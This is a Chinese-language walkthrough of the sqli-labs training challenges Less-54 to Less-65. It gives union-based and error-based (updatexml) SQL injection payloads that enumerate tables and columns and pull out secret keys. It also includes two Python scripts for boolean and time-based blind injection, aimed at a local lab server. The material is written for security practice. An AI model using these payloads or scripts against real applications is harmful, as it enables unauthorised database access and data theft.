【sqli-labs】 page-4 Less 54-65
sqli-labs 1-65
十四步之内获取 key
Less-54
1)确定闭合
?id=1' # 报错,猜测单引号闭合
?id=1'' # 验证
?id=2' and 1='1 # 确定是否使用括号,正确显示,没有括号
2)确定使用字段
?id=0' union select 1,2,3 and 1='1
3)确定数据库名
?id=0' union select 1,database(),3 and 1='1
数据库名:challenges
4)确定表名
?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() and 1='1
表名:VWPVRZP5YL
5)确定字段名
?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='VWPVRZP5YL' and 1='1
字段名:id,sessid,secret_YWE1,tryy
6)获取 key,然后提交
?id=0' union select 1,2,secret_YWE1 from VWPVRZP5YL where id=1 and 1='1
注:如果 key 的第一位是数字,很有可能显示不出来,至少我本地遇见过这种情况
Less-55
1)确定闭合
?id=1' # 报错,猜测单引号闭合
?id=1'' # 报错
?id=1" # 报错,猜测双引号闭合
?id=1"" # 报错
?id=2 and 1=1 # 猜测数字型,确定是否括号闭合,错误显示,猜测使用括号闭合
?id=2) and 1=(1 # 验证
2)获取表名
?id=0) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() and 1=(1
表名:5ATRPYHA0Y
3)获取字段名
?id=0) union select 1,group_concat(column_name),3 from information_schema.columns where table_name='5ATRPYHA0Y' and 1=(1
字段名:id,sessid,secret_0WLS,tryy
4)获取 key
?id=0) union select 1,secret_0WLS,3 from 5ATRPYHA0Y where id=1 and 1=(1
Less-56
1)确定闭合
?id=1' # 报错
?id=1'' # 验证
?id=2' and 1='1 # 报错
?id=2') and 1=('1 # 验证
2)获取表名
?id=0') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() and 1=('1
表名:2NHQ7NSJDL
3)获取字段
?id=0') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='2NHQ7NSJDL' and 1=('1
字段名:id,sessid,secret_OZ2H,tryy
4)获取 key
?id=0') union select 1,secret_OZ2H,3 from 2NHQ7NSJDL where id=1 and 1=('1
Less-57
1)确定闭合
?id=1' # 无反应,双引号闭合
?id=2" and 1="1 # 正确显示,双引号闭合
2)获取 key
# 爆表,T15OUD7MXZ
?id=0" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() and 1="1
# 爆字段,id,sessid,secret_1VGJ,tryy
?id=0" union select 1,group_concat(column_name),3 from information_schema.columns where table_name='T15OUD7MXZ' and 1="1
# 获取 key
?id=0" union select 1,secret_1VGJ,3 from T15OUD7MXZ where id=1 and 1="1
五步之内获取 key
Less-58
username 和 password 比较奇怪,
如:id=1,使用 Angelina 作为 username,dhakkan 作为密码。Angelina 本是 id=2 的 username,dhakkan 本是 id=12 的 username
id=2,使用 Dummy 作为 username,admin3 作为密码。Dummy 本是 id=3 的 username,admin3 本是 id=11 的 username
经过测试,username 的正序作为 username,username 的倒序作为 password(去掉一个和最后一个)
# 爆表,BO9EI6N0C4
?id=1'and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) and 1='1
# 爆字段,id,sessid,secret_SSCQ,tryy
?id=1'and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name='BO9EI6N0C4')),1) and 1='1
# 获取 key
?id=1'and updatexml(1,concat(1,(select secret_SSCQ from BO9EI6N0C4)),1) and 1='1
Less-59
# 爆表,SP866HDZJL
?id=1 and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) and 1= 1
# 爆字段,id,sessid,secret_23RH,tryy
?id=1 and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name='SP866HDZJL')),1) and 1= 1
# 获取 key
?id=1 and updatexml(1,concat(1,(select secret_23RH from SP866HDZJL)),1) and 1= 1
Less-60
# 爆表,E6Y43ZDJN4
?id=1") and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) and 1= ("1
# 爆字段,id,sessid,secret_0JLJ,tryy
?id=1") and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name='E6Y43ZDJN4')),1) and 1=("1
# 获取 key,NAtGNhF8HXSuZhsBDcREw95
?id=1") and updatexml(1,concat(1,(select secret_0JLJ from E6Y43ZDJN4)),1) and 1=("1
Less-61
# 爆表,VO9SSPIMIM
?id=1')) and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) and 1= (('1
# 爆字段,id,sessid,secret_OBI4,tryy
?id=1')) and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name='VO9SSPIMIM')),1) and 1=(('1
# 获取 key,NAtGNhF8HXSuZhsBDcREw95
?id=1')) and updatexml(1,concat(1,(select secret_OBI4 from VO9SSPIMIM)),1) and 1=(('1
130 步之内获取 key
Less-62
没有回显、没有报错,有这么多步数,很明显,盲注
盲注手注太过麻烦,脚本就非常合适,因此,本题考察写脚本能力
给出布尔盲注过程,时间盲注只给脚本
脚本思路:首先确定闭合,确定正确页面和错误页面的不同,然后编写脚本
1、确定闭合
?id=1' # 错误
?id=1'' # 正确,确定使用单引号
?id=2' and 1='1 # 错误
?id=2') and 1=('1 # 正确,确定使用括号
2、确定正确、错误页面
1)正确显示
?id=1') and if(2>1,1,0) --+ # 正确显示
正确页面
正确页面源代码
2)错误显示
?id=1') and if(2>1,0,0) --+ # 错误显示
错误页面
3、编写脚本
脚本要求:高效,必须在 130 步内完成爆表、爆字段、爆 key
根据前面的题目可知,表名、字段名、key 在不断变化(变化范围:数字、大小写字母)
其中表名有 10 个字符在变化,字段名有 4 个字符在变化,key 有 24 个字符在变化
共 38 个字符,平均 3 步确定一个字符
3 步确定一个字符,就不能用二分法、暴破
0-9 的 ascii 是 48-57 (十进制),0011 0000 - 0011 1001,实际上,数字是6的ascii,为了方便此处用8位
a-z 的 ascii 是 97-122(十进制),0110 0001 - 0111 1010,实际上,字母是7的ascii,为了方便此处用8位
A-Z 的 ascii 是 65-90 (十进制),0100 0001 - 0101 1010
总结:数字的 ascii 前两位是 00,长度为 6,字母的前两位是 01,长度为 7
剩下 6 位共有 64 种情况,太多了,分成 3 位一组,就只有 8 种情况
步骤
1、根据长度判断数字还是字母
2、根据中三位判断具体的值
3、根据低三位判断具体的值
我们解决了 3 步判断一个字符的情况,下面如何分辩 8 种情况
# 由前面的题可知,我们的 id 有 13 个
?id=0') or id=1 and 1=('1 # 可行
?id=0') or id=1 and 1=('1 # 可行
.
.
.
?id=0') or id=12 and 1=('1 # 可行
?id=0') or id=13 and 1=('1 # 错误
# 实际上只用了 12 个记录,Less-58 也有体现
12 种情况 > 8 种情况,这个问题也被解决,下面用 case when 语句实现
布尔盲注
import requests
import re
name_dic = {'Angelina': 0, 'Dummy': 1, 'secure': 2, 'stupid': 3, 'superman': 4, 'batman': 5,
'admin': 6, 'admin1': 7, 'admin2': 8, 'admin3': 9, 'dhakkan': 10}
table,column,key = '','secret_',''
i,count,total = 1,0,0
temp = '0b'
mark = True
def payload(temp,name,i,From,where):
if len(temp) == 2:
ASCII = f"(ascii(substr(group_concat({name}),{i},1))%2664)%2563"
elif len(temp) == 5:
ASCII = f"if(ascii(substr( group_concat({name}),{i},1))%2656=56,7,(ascii(substr( group_concat({name}),{i},1))%2656)%257)"
else:
ASCII = f"ascii(substr(group_concat({name}),{i},1))%267"
case = f"""case {ASCII}
when 0 then 1
when 1 then 2
when 2 then 3
when 3 then 4
when 4 then 5
when 5 then 6
when 6 then 7
when 7 then 8
else 10
end"""
data = f"?id=0') or id=(select {case} {From} {where}) and 1=('1"
return data
while True:
total += 1
url = 'http://192.168.148.131:8080/Less-62/'
# 爆表
if len(table) != 10:
name = 'table_name'
From = 'from information_schema.tables'
where = 'where table_schema=database()'
# 爆字段
elif len(column) != 11:
name = 'column_name'
From = 'from information_schema.columns'
where = f'where table_name="{table}"'
if i<18 :i = 18 # 重置 i
# 爆 key
else :
name = column
From = f'from {table}'
where = 'where id=1'
if mark and i>18: # 重置 i
i,mark = 1,False
data = payload(temp,name,i,From,where)
respond = requests.get(url + data)
respond = respond.text
name = re.search(r'Your Login name : (.*?)<br>', respond).group(1).strip()
bi = bin(name_dic[name])[2:]
temp += (3 - len(bi)) * '0' + bi
count += 1
if count == 3: # 每三步组成一个字符
if len(table) != 10:
table += chr(int(temp, 2))
elif len(column) != 11:
column += chr(int(temp, 2))
else:
key += chr(int(temp, 2))
i += 1
temp, count = '0b', 0
if len(key) == 24: break
print('[+] 表名:'+table,'[+] 字段名:'+column,'[+] key:'+key,f'[+] 总计{total}次',sep="\n")
总计:114 次,勉强符合要求
贴一个只用 68 次的大佬的代码:sqli-labs靶场Less-62题解(少于130次)
时间盲注
sqlilabs 环境:centos 7(虚拟机)
浏览器环境:windows10
思路:浏览器 tcp 连接时间是毫秒级,针对 8 种情况,选取不同延迟,最低 100 毫秒,最高 800 毫秒(不推荐)
注:下列脚本对网络连接要求非常高,不能保证 tcp 连接没有一次波动,极其容易出错
(不想改了,问题跟解决方案都在下面了,就这样吧,我 20 次中能有一次成功)
问题:下面脚本做精确判断,只判断延迟为:0.1 秒、0.2 秒、0.3 秒.....0.8 秒 的 8 种情况,没有考虑波动情况
解决方案:每次波动在 200 毫秒以内,可增加延迟,增加判断范围,如:[0,0.3],(0.3,0.6]....(2.1,2.4]
import requests
import re
import time
import sys
import string
# name_dic = {'Angelina': 0, 'Dummy': 1, 'secure': 2, 'stupid': 3, 'superman': 4, 'batman': 5,
# 'admin': 6, 'admin1': 7, 'admin2': 8, 'admin3': 9}
name_dic = {0.1: 0, 0.2: 1, 0.3: 2, 0.4: 3, 0.5: 4, 0.6: 5,
0.7: 6, 0.8: 7, 0.9: 8, 1: 9}
table,column,key = '','secret_',''
i,count,total = 1,0,0
temp = '0b'
mark = True
def payload(temp,name,i,From,where):
if len(temp) == 2:
ASCII = f"(ascii(substr(group_concat({name}),{i},1))%2664)%2563"
elif len(temp) == 5:
ASCII = f"if(ascii(substr( group_concat({name}),{i},1))%2656=56,7,(ascii(substr( group_concat({name}),{i},1))%2656)%257)"
else:
ASCII = f"ascii(substr(group_concat({name}),{i},1))%267"
case = f"""case {ASCII}
when 0 then sleep(0.1)
when 1 then sleep(0.2)
when 2 then sleep(0.3)
when 3 then sleep(0.4)
when 4 then sleep(0.5)
when 5 then sleep(0.6)
when 6 then sleep(0.7)
when 7 then sleep(0.8)
else sleep(1)
end"""
data = f"?id=0') or id=(select {case} {From} {where}) and 1=('1"
return data
while True:
total += 1
url = 'http://192.168.148.131:8080/Less-62/'
# 爆表
if len(table) != 10:
name = 'table_name'
From = 'from information_schema.tables'
where = 'where table_schema=database()'
# 爆字段
elif len(column) != 11:
name = 'column_name'
From = 'from information_schema.columns'
where = f'where table_name="{table}"'
if i<18 :i = 18 # 重置 i
# 爆 key
else :
name = column
From = f'from {table}'
where = 'where id=1'
if mark and i>18: # 重置 i
i,mark = 1,False
data = payload(temp,name,i,From,where)
time_start = time.perf_counter()
respond = requests.get(url + data)
time_end = time.perf_counter()
respond = respond.text
try:
differ = round(time_end - time_start, 1)
bi = bin(name_dic[differ])[2:]
except:
exit('波动造成错误')
temp += (3 - len(bi)) * '0' + bi
if len(temp)>11 :exit('波动造成错误')
count += 1
if count == 3: # 每三步组成一个字符
word = chr(int(temp, 2))
if word not in string.ascii_letters+string.digits:exit('字符错误') # 非大小写字母+数字
if len(table) != 10:
table += word
sys.stdout.write(f'\ryour table_name:{table}')
elif len(column) != 11:
column += word
sys.stdout.write(f'\ryour column_name:{column}')
else:
key += word
sys.stdout.write(f'\ryour key:{key}')
i += 1
temp, count = '0b', 0
if len(key) == 24: break
print(f'\r[+] 表名:{table}',f'[+] 字段名:{column}',f'[+] key:{key}',f'[+] 总计{total}次',sep="\n")
布尔盲注脚本就够了,要什么自行车,时间盲注太费时间了,不推荐
Less-63
''
单引号闭合
Less-64
(())
闭合
Less-65
("")
闭合